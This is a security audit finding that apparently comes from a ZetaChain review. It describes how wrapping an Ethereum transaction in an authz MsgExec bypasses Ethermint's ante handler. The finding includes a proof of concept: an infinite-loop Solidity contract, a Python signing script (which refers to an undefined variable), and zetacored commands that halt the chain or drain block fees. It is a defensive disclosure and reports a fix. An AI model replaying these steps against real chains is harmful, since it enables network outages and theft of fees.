Ethermint Ante handler bypass
Description
It is possible to bypass the EthAnteHandler
by wrapping the ethermint.evm.v1.MsgEthereumTx
inside a MsgExec
as described in https://jumpcrypto.com/bypassing-ethermint-ante-handlers/↗. These are responsible for numerous vital actions such as deducting the gas limit from the sender's account to limit the number computations a contract can perform.
Impact
It is possible to cause a complete chain halt by deploying a contract with an infinite loop and then calling it with a huge gas limit. Since the coins are not deducted from the senders account, the gas limit will be accepted and the EVM will get stuck in the loop.
The following steps can be performed to replicate this issue. First, create a new account to simulate a malicious user, then deploy the following contract to the zEVM:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Demo {
function loop() external {
while(true) {}
}
}
Using the details of the malicious account (one can use zetacored keys unsafe-export-eth-key
to get the private key) and the deployed contract, sign a transaction and get the hex bytes:
import web3
from web3 import Web3
account = "0x30b254F67cBaB5E6b12b92329b53920DE403aA02"
contract = "0x6da71267cd63Ec204312b7eD22E02e4E656E72ac"
private_key = "xxx"
loop_selector = "0xa92100cb"
loop_data={"data":loop_selector,"from": account, "gas": "0xFFFFFFFFFFFFFFF","gasPrice": "0x7","to": contract,"value": "0x0", "nonce": "0x0"}
w3 = web3.Web3(web3.HTTPProvider("http://localhost:9545"))
print(w3.eth.account.sign_transaction(transaction_dict=nop_data, private_key=private_key))
This can then be used to generate a MsgEthereumTx
message, which we then remove the ExtensionOptionsEthereumTx
and wrap it in a MsgExec
using the authz grant mechanism:
zetacored tx evm raw [TX_HASH] --generate-only > /tmp/tx.json
sed -i 's/{"@type":"\/ethermint.evm.v1.ExtensionOptionsEthereumTx"}//g' /tmp/tx.json
zetacored tx --chain-id athens_101-1 --keyring-backend=test --from $hacker authz exec /tmp/tx.json --fees 20azeta --yes
Since the granter and the grantee are the same in this instance, the grant automatically passes, causing the inner message to be executed and putting the nodes in an infinite loop.
It is also possible to steal all the transaction fees for the current block by supplying a higher gas limit that is used. Since the gas was never paid for, when RefundGas
is triggered, it will end up sending any gas that was collected from other transactions.
Recommendations
Consider adding a new Ante handler base on the AuthzLimiterDecorator
that was used to fix the issue in EVMOS;
see https://github.com/evmos/evmos/blob/v12.1.2/app/ante/cosmos/authz.go#L58-L91↗.
Remediation
This issue has been acknowledged by ZetaChain, and a fix was implemented in commit 3362b137↗.